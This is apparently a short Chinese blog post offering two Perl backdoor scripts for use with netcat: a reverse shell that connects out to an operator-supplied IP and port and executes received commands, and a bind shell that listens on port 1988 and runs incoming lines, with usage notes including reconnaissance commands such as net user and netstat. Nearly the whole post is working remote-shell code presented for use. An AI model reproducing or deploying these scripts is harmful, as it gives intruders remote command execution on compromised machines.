by 小杰 都是使用nc监听
反向连接代码：
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#!/usr/bin/perl#usage:#nc -vv -l -p PORT(default 1988) on your local system first,then#Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)#Type 'exit' to exit or press Enter to gain shell when u under the 'console'.#nc -vv -l -p 1988#perl backdoor.pl 127.0.0.1 1988#use strict;use Socket;use IO::Socket;use Cwd;use IO::Handle;my $remote = $ARGV[0] || "127.0.0.1";my $remote_port = $ARGV[1] || 1988;my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) );my $path = cwd();$ARGC = @ARGV;if ( $ARGV[0] !~ /-/ ) { socket( SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp') ) or die "socket error: "; STDOUT->autoflush(1); SOCKET->autoflush(1); $conn = connect( SOCKET, $pack_addr ) || die "connection error : $!"; open STDIN, ">&SOCKET"; open STDOUT, ">&SOCKET"; open STDERR, ">&SOCKET"; print "You are in $path\n"; print "Welcome to use.\n"; print "console>\n"; while (<STDIN>) { chomp; if ( lc($_) eq 'exit' ) { print " Bye Bye!"; exit; } $msg = system($_); if ($msg) { print STDOUT "\n$msg\n"; print STDOUT "console>"; } else { print "console>"; } } close SOCKET; exit;} |
正向连接代码：
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#!/usr/bin/perl#ActivePerl 5.8.8 Build 822#usage:#first:perl backdoor2c.pl#second:nc -vv 127.0.0.1 1988#net user#ipconfig /all#netstat -anbuse IO::Socket;$port = "1988";my $socket = new IO::Socket::INET( 'Localhost' => '127.0.0.1', 'LocalPort' => $port, 'Listen' => 1, 'Proto' => 'tcp', 'Reuse' => 1);die "Reason: $!" unless $socket;while ( my $new_socket = $socket->accept() ) { while ( my $buffer = <$new_socket> ) { if ( $buffer =~ /exit/ ) { exit; } $res_msg = `$buffer`; print $new_socket "$res_msg\ncmd>"; }} |
这篇文章就结束到这了，希望能帮助到有需要的朋友。
